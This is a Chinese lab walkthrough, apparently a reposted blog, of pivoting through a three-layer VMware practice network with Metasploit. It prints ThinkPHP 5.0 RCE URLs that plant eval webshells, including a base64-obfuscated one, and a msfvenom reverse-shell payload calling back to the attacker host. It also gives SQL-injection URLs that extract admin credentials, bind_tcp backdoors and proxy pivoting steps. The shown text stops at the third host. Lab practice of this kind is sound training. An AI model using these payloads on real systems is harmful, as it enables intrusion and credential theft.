转载于:http://www.yowell.pw,欢迎关注作者博客。
一 、前言
综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但往往缺少多层网络的练习环境。此次通过虚拟机搭建3层网络,并通过msf进行内网渗透,涉及虚拟机配置,Web漏洞利用,提权,代理搭建,流量转发,端口映射等常见内网渗透技术。二、靶机系统搭建
本实验环境使用Vmware虚拟机和5个系统搭建完成。网络拓扑图如下图:网络拓扑图VMnet0,VMnet2,VMnet3个网卡
其中,第一层和第二层设置两个网卡,第三层设置一个网卡,攻击机为Window10 和Kali系统。渗透目标为攻陷各层的系统并且拿下最终的系统权限。
三、第一层靶机渗透
3.1、获取Webshell
我们先使用攻击机KALI(192.168.1.12)探测第一层网络环境,这里使用nmap扫描整个网段:我们发现第一层网络(192.168.1.11)的IP。开始扫描开放的端口:nmap -sT -T4 192.168.1.11首先看一下80端口,发现ThinkPHP 5.0版本。已经知道了版本号为V5.0,然后去exploit-db上搜索响应漏洞,发现存在两个远程代码执行漏洞。http://192.168.1.11/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval($_POST[yowell]);?>" > yowell.php
上传后发现不能成功连接Webshell,经过多次尝试后发现系统屏蔽了“$_POST”关键字。因此考虑使用base加密后的Webshell进行上传http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo <?php%20eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?>" > yowell.php // 密码为door
3.2 上传MSF后门
首先查看版本信息uname -an,发现是64位linux系统。通过msfvenom制作linux TCP反向连接后门。这里的palyload使用linux/x64/meterpreter/reverse_tcp。msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=6789 -f elf >yowell.elf
生成后门程序后通过蚁剑上传至服务器,并且更改执行权限[email protected]:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.12
msf5 exploit(multi/handler) > set lport 6789
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > runrun autoroute -s 192.168.22.0/24在MSF中添加代理,以便让攻击机访问靶机2,这里使用socks4代理:发现192.168.22.22是第二层靶机IP。扫描开放端口情况vim /etc/proxychains.conf
加入新设置的代理,这样就可以通过proxychain3 通过代理进行操作。proxychains3 nmap -Pn -sT 192.168.22.22
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect四、第二层靶机渗透
由于同样开放了80端口,所以进网站看一下,这里需要给firefox设置socks代理。3.1、80端口信息搜集
3.2 漏洞挖掘
由于之前的hint是存在SQL注入漏洞,经过多次尝试发现是报错注入漏洞:http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(schema_name)%20from%20information_schema.schemata)))%23
http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22bagecms%22)))%23
表名为:bage_ad,bage_admin,bage_admin_ghttp://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%22bage_admin%22)))%23
字段名为:username,password,realnamehttp://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(username,password)%20from%20bage_admin)))%23
管理员用户名admin,密码46f94c8de14fb36680850768ff1b7f2发现md5因该为32位,然而只爆出了31位,应该是显示不完全,因此使用substring函数爆出最后一位。http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20substring(password,32)%20from%20bage_admin)))%23
在模板中可以修改php文件,因此这时候上传webshell。但是上传一句话木马后。蚁剑一直显示未知错误。因此换种思路,想到KALI下还有一个生成webshell的weevely。将代码复制到主页php文件中。但是连接的时候依旧不稳定。继续换思路,直接使用msfvenom的payload 拿shellmsfvenom -p php/meterpreter/bind_tcp LPORT=3344 -f raw > msfyowell.php
注意:由于msf添加的路由全为正向连接,即我们可以访问到靶机但靶机不能反向访问到我们,所以在选择msf马的payload时,不选择reverse_tcp反向连接payload,而是选择bind_tcp正向连接payload,bind_tcp不需要设置请求的ip,会在目标主机开启一个端口,然后我们攻击机去访问目标主机的端口即可攻陷由于此webshell因为网站程序的timeout ,shell也会随之关闭。因此我们换成MSFSHELL。首先生成elf 后门程序。通过webshell上传至服务器并且修改权限。msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf > msfyowell.elfmsf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 192.168.22.22
msf5 exploit(multi/handler) > set LPORT 4321
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run3.3 设置代理
从靶机中可以看出第三层网段为192.168.33.0/24run autoroute -s 192.168.33.0/24四、第三层靶机渗透
4.1、信息搜集
从中可知第三层靶机ip为192.168.33.234.2漏洞利用
设置代理,并连接通过WINDOW10机器的sockscap连接3389端口。